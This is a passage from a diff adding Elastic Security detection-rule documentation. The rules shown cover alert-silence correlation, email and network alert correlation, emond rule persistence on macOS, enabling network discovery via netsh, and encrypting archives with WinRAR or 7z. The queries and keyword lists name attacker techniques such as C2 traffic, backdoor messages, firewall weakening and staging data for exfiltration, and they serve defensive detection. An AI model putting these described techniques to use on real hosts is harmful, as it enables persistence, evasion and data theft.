Review the original `endpoint.alert` event and identify the detection that triggered the alert. +- Check the host’s online status, uptime, and reboot history. +- Verify the health and status of the Elastic Defend agent and related services. +- Look for evidence of agent tampering, service stops, or security control modifications. +- Correlate with activity immediately preceding the alert for signs of exploitation or evasion. +- Determine if similar alert → silence patterns are occurring on other hosts. + + +*False positive analysis* + + +- Legitimate system reboots or shutdowns +- Network connectivity loss +- Elastic Agent upgrades or restarts +- Endpoint service crashes +- Maintenance or IT operations + + +*Response and remediation* + + +- Validate host and agent availability. +- Reconnect or re-enroll the agent if telemetry is missing. +- Isolate the host if malicious activity is suspected. +- Investigate for security control tampering. +- Perform broader environment hunting for similar patterns. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10m + [any where data_stream.dataset == "endpoint.alerts"] + ![any where event.category in ("process", "library", "registry", "network", "dns", "file")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-email-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-email-alerts-correlation.asciidoc new file mode 100644 index 0000000000..4381a88500 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-email-alerts-correlation.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-34-elastic-defend-and-email-alerts-correlation]] +=== Elastic Defend and Email Alerts Correlation + +This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 45m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Check Point Harmony Email & Collaboration +* Domain: Email +* Domain: Endpoint +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: ES|QL +* Data Source: Check Point Harmony Email Logs + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +*Investigating Elastic Defend and Email Alerts Correlation* + + +This rule correlates any Elastic Defend alert with an email security related alert by target user name. + + +*Possible investigation steps* + +- Review the alert details to identify the specific host and users involved. +- Investigate the individual alerts for the target user name and see if they are related. +- Review all emails received from Esql.source_user_name and if there are other impacted users. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + +- Legitimate email marked as suspicious. +- Legitimate file or behavior marked as suspicious by Elastic Defend. +- Unrelated alerts where the target user name is too generic. + + +*Response and remediation* + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-*, logs-checkpoint_email.event-* metadata _id +// Email or Elastic Defend alerts where user name is populated +| where + (event.category == "email" and event.kind == "alert" and destination.user.name is not null) or + (event.module == "endpoint" and data_stream.dataset == "endpoint.alerts" and user.name is not null) + +// extract target user name from email and endpoint alerts +| eval email_alert_target_user_name = CASE(event.category == "email", destination.user.name, null), + elastic_defend_alert_user_name = CASE(event.module == "endpoint" and data_stream.dataset == "endpoint.alerts", user.name, null) +| eval Esql.target_user_name = COALESCE(email_alert_target_user_name, elastic_defend_alert_user_name) +| where Esql.target_user_name is not null + +// group by Esql.target_user_name +| stats Esql.alerts_count = COUNT(*), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.event_module_values = VALUES(event.module), + Esql.message_values = VALUES(message), + Esql.event_action_values = VALUES(event.action), + Esql.process_executable_values = VALUES(process.executable), + Esql.host_id_values = VALUES(host.id), + Esql.source_user_name = VALUES(source.user.name), + Esql.rule_name_values = VALUES(rule.name) + by Esql.target_user_name +// alert when same user is observed in an endpoint and email alert +| where Esql.event_module_distinct_count >= 2 +| keep Esql.alerts_count, Esql.event_module_values, Esql.host_id_values, Esql.source_user_name, Esql.target_user_name, Esql.message_values, Esql.rule_name_values, Esql.event_action_values + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-network-security-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-network-security-alerts-correlation.asciidoc new file mode 100644 index 0000000000..aaf02ea6db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-and-network-security-alerts-correlation.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-elastic-defend-and-network-security-alerts-correlation]] +=== Elastic Defend and Network Security Alerts Correlation + +This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: Suricata +* Noise: Medium +* Performance: Slow +* Rule Type: ES|QL +* Domain: Network +* Domain: Endpoint + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Elastic Defend and Network Security Alerts Correlation* + + +This rule correlate any Elastic Defend alert with suspicious events from Network Security datasources like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host and users involved. +- Investiguate the network alerts by destination.ip and message. +- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used. +- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context. +- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network. +- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity. + + +*False positive analysis* + + +- IP address ranges overlap where the host.ip value from the Elastic Defend alert is unrelated to the source.ip value from the Network Security alert. +- Alerts from routine administrative tasks may trigger multiple alerts. Review and exclude known benign activities such as scheduled software updates or system maintenance. +- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise. +- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening. +- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score. +- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary. +- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved. +- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated. +- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks. +- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise. +- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns. +- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-* metadata _id +| WHERE + // Elastic Defend Alerts + (event.module == "endpoint" and data_stream.dataset == "endpoint.alerts") or + + // PANW suspicious events + (data_stream.dataset == "panw.panos" and + event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", "spyware_detected", "large_upload", "denied", "exploit_detected")) or + + // Fortigate suspicious events + (data_stream.dataset == "fortinet_fortigate.log" and + (event.action in ("outbreak-prevention", "infected", "blocked") or message like "backdoor*" or message like "Proxy*" or message like "anomaly*" or message like "P2P*" or message like "misc*" or message like "DNS.Over.HTTPS" or message like "Remote.Access")) or + + // Suricata + (data_stream.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", "A Network Trojan was detected", "Detection of a Network Scan", "Domain Observed Used for C2 Detected", "Malware Command and Control Activity Detected")) + +// extract source.ip from PANW, Fortigate or Suricata events and host.ip from Elastic Defend alert +|eval fw_alert_source_ip = CASE(data_stream.dataset in ("panw.panos", "fortinet_fortigate.log", "suricata.eve"), source.ip, null), + elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and data_stream.dataset == "endpoint.alerts", host.ip, null) +| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip) +| where Esql.source_ip is not null + +// group by host_source_ip shared between FG/PANW/Suricata and Elastic Defend +| stats Esql.alerts_count = COUNT(*), + Esql.event_module_distinct_count = COUNT_DISTINCT(event.module), + Esql.message_values_distinct_count = COUNT_DISTINCT(message), + Esql.event_module_values = VALUES(event.module), + Esql.message_values = VALUES(message), + Esql.event_action_values = VALUES(event.action), + Esql.process_executable_values = VALUES(process.executable), + Esql.process_hash_sha256_values = VALUES(process.hash.sha256), + Esql.process_cmdline_values = VALUES(process.command_line), + Esql.file_path_values = VALUES(file.path), + Esql.file_hash_sha256_values = VALUES(file.hash.sha256), + Esql.host_id_values = VALUES(host.id), + Esql.user_name_values = VALUES(user.name), + Esql.destination_ip_values = VALUES(destination.ip) + by Esql.source_ip +| where Esql.event_module_distinct_count >= 2 AND Esql.message_values_distinct_count >= 2 +| eval concat_module_values = MV_CONCAT(Esql.event_module_values, ",") +// Make sure an endpoint alert is present along one of the network ones +| where concat_module_values like "*endpoint*" + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval source.ip = mv_min(Esql.source_ip), + host.id = mv_min(Esql.host_id_values), + user.name = mv_min(Esql.user_name_values) + +| keep source.ip, host.id, user.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-security-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-security-external-alerts.asciidoc new file mode 100644 index 0000000000..5d0f42f5b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-security-external-alerts.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-elastic-security-external-alerts]] +=== Elastic Security External Alerts + +Generates a detection alert for each Elastic Security alert written to the configured indices. Enabling this rule allows you to immediately begin investigating Elastic Security alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-elastic_security.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/elastic_security + +*Tags*: + +* Data Source: Elastic Security +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Elastic Security External Alerts* + + +The Elastic Security integration facilitates transferring security alert data from another Elasticsearch instance to your own, enabling threats to be investigated in a centralized manner. + + +*Possible investigation steps* + + +- Correlate the alert with recent activity on the affected endpoint to identify any unusual or suspicious behavior patterns. +- Check for any additional alerts or logs related to the same endpoint or user to determine if this is part of a broader attack or isolated incident. +- Investigate the source and destination IP addresses involved in the alert to assess if they are known to be malicious or associated with previous threats. +- Analyze any files or processes flagged in the alert to determine if they are legitimate or potentially malicious, using threat intelligence sources if necessary. +- Consult the Elastic Security investigation guide and resources tagged in the alert for specific guidance on handling similar threats. + + +*False positive analysis* + + +- Alerts triggered by routine software updates or patches can be false positives. Review the context of the alert to determine if it aligns with scheduled maintenance activities. +- Legitimate administrative tools or scripts may trigger alerts. Identify and whitelist these tools if they are verified as non-threatening. +- Frequent alerts from known safe applications or processes can be excluded by creating exceptions for these specific behaviors in the Elastic Security configuration. +- Network scanning or monitoring tools used by IT teams might be flagged. Ensure these tools are documented and excluded from triggering alerts if they are part of regular operations. +- User behavior that is consistent with their role but triggers alerts should be reviewed. If deemed non-malicious, adjust the rule to exclude these specific user actions. + + +*Response and remediation* + + +- Isolate the affected endpoint immediately to prevent lateral movement and further compromise within the network. +- Analyze the specific alert details to identify the nature of the threat and any associated indicators of compromise (IOCs). +- Remove or quarantine any malicious files or processes identified by the Elastic Security alert to neutralize the threat. +- Apply relevant security patches or updates to address any exploited vulnerabilities on the affected endpoint. +- Conduct a thorough scan of the network to identify any additional endpoints that may have been compromised or are exhibiting similar behavior. +- Document the incident and escalate to the appropriate security team or management if the threat is part of a larger attack campaign or if additional resources are needed for remediation. +- Review and update endpoint protection policies and configurations to enhance detection and prevention capabilities against similar threats in the future. + + +==== Setup + + + +*Setup* + + + +*Elastic Security Alert Integration* + +This rule is designed to capture alert events generated by the Elastic Security integration and promote them as Elastic detection alerts. + +To capture Elastic Security alerts, install and configure the Elastic Security integration to ingest alert events into the `logs-elastic_security.alert-*` index pattern. + +If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same Elastic Security events. Consider adding a rule exception for the External Alert rule to exclude data_stream.dataset:elastic_security.alert to avoid receiving duplicate alerts. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: elastic_security.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-emond-rules-creation-or-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-emond-rules-creation-or-modification.asciidoc new file mode 100644 index 0000000000..0e2fdafb4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-emond-rules-creation-or-modification.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-emond-rules-creation-or-modification]] +=== Emond Rules Creation or Modification + +Identifies the creation or modification of the Event Monitor Daemon (emond) rules. Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.xorrior.com/emond-persistence/ +* https://www.sentinelone.com/blog/how-malware-persists-on-macos/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 115 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Emond Rules Creation or Modification* + + +The Event Monitor Daemon (emond) on macOS is a service that executes commands based on specific system events. Adversaries can exploit this by crafting rules to trigger malicious actions during events like startup or login. The detection rule monitors for new or altered emond rule files, signaling potential unauthorized modifications that could indicate persistence tactics. + + +*Possible investigation steps* + + +- Review the file path of the modified or newly created emond rule to determine if it matches known legitimate configurations or if it appears suspicious, focusing on paths like "/private/etc/emond.d/rules/*.plist" and "/private/var/db/emondClients/*". +- Check the timestamp of the file creation or modification to correlate with any known user activity or scheduled tasks that could explain the change. +- Analyze the contents of the modified or newly created plist file to identify any commands or scripts that are set to execute, looking for signs of malicious intent or unauthorized actions. +- Investigate the user account associated with the file modification event to determine if the activity aligns with their typical behavior or if it suggests potential compromise. +- Cross-reference the event with other security alerts or logs from the same timeframe to identify any related suspicious activities or patterns that could indicate a broader attack. + + +*False positive analysis* + + +- System or application updates may modify emond rule files as part of legitimate maintenance activities. Users can create exceptions for known update processes by identifying the associated process names or hashes and excluding them from alerts. +- Administrative tasks performed by IT personnel, such as configuring new system policies or settings, might involve legitimate changes to emond rules. To handle these, maintain a list of authorized personnel and their activities, and exclude these from triggering alerts. +- Security software or management tools that automate system configurations could also modify emond rules. Identify these tools and their expected behaviors, and configure exceptions based on their typical file paths or process identifiers. +- Scheduled maintenance scripts that interact with emond rules for system health checks or optimizations should be documented. Exclude these scripts by verifying their signatures or paths to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious rules. +- Review and back up the current emond rule files located in the specified directories to understand the scope of modifications and preserve evidence for further analysis. +- Remove or revert any unauthorized or suspicious emond rule files to their original state to stop any malicious actions triggered by these rules. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is in question and unauthorized changes cannot be fully reversed. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected by similar unauthorized emond rule modifications. +- Implement enhanced monitoring and alerting for changes to emond rule files to quickly detect and respond to future unauthorized modifications. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like ("/private/etc/emond.d/rules/*.plist", "/etc/emond.d/rules/*.plist", "/private/var/db/emondClients/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Emond +** ID: T1546.014 +** Reference URL: https://attack.mitre.org/techniques/T1546/014/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enable-host-network-discovery-via-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enable-host-network-discovery-via-netsh.asciidoc new file mode 100644 index 0000000000..ecdb45c0e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enable-host-network-discovery-via-netsh.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-enable-host-network-discovery-via-netsh]] +=== Enable Host Network Discovery via Netsh + +Identifies use of the netsh.exe program to enable host discovery via the network. Attackers can use this command-line tool to weaken the host firewall settings. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enable Host Network Discovery via Netsh* + + +The Windows Defender Firewall is a native component that provides host-based, two-way network traffic filtering for a device and blocks unauthorized network traffic flowing into or out of the local device. + +Attackers can enable Network Discovery on the Windows firewall to find other systems present in the same network. Systems with this setting enabled will communicate with other systems using broadcast messages, which can be used to identify targets for lateral movement. This rule looks for the setup of this setting using the netsh utility. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Disable Network Discovery: + - Using netsh: `netsh advfirewall firewall set rule group="Network Discovery" new enable=No` +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +process.name : "netsh.exe" and +process.args : ("firewall", "advfirewall") and process.args : "group=Network Discovery" and process.args : "enable=Yes" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-encrypting-files-with-winrar-or-7z.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-encrypting-files-with-winrar-or-7z.asciidoc new file mode 100644 index 0000000000..fbefd5cbdb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-encrypting-files-with-winrar-or-7z.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-encrypting-files-with-winrar-or-7z]] +=== Encrypting Files with WinRar or 7z + +Identifies the use of WinRAR or 7-Zip to create encrypted archives. Adversaries often compress and encrypt data in preparation for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/ +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Encrypting Files with WinRar or 7z* + + +Attackers may compress and/or encrypt data collected before exfiltration. Compressing data can help stage and obfuscate content and may reduce the amount of data sent over the network. Encryption can be used to hide the contents of the archive and make the activity less apparent during review. + +These steps are often performed in preparation for exfiltration, meaning the intrusion may be in its later stages. + + +*Possible investigation steps* + + +- Review the process ancestry (parent process tree) for the archiving command. Identify what launched WinRAR/7-Zip and whether the parent is expected in your environment. +- Validate the executable: check file path, signature, hash prevalence, and whether the binary is the expected vendor build. +- Identify the archive output location and name. Look for staging locations (e.g., user profile temp directories, public folders, removable media paths) and unusual naming patterns. +- Retrieve the created archive if policy allows. Determine whether the contents are sensitive or business-critical. +- Check whether the encryption password is present in the command line. If present, treat as high confidence data staging. +- If the password is not available and the archive format is `.zip` (or WinRAR is not using the `-hp` option), enumerate filenames within the archive to understand what was staged. +- Review other alerts and related activity for the same host/user over the last 48 hours (credential access, discovery, lateral movement, and outbound transfers). +- Investigate whether the archive was transferred off-host (e.g., browser uploads, cloud sync clients, RMM tools, SMB to unusual destinations, or other outbound network activity). + + +*False positive analysis* + + +- Backup, packaging, and software distribution workflows may legitimately create password-protected archives. +- IT administrators and automation may use WinRAR/7-Zip for log collection, incident response packaging, or data transfer. +- Validate the parent process and context using `process.parent.executable` and `process.parent.command_line`, and confirm whether the archive destination and file set match an expected workflow. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Prioritize cases that involve personally identifiable information (PII) or other classified data. +- 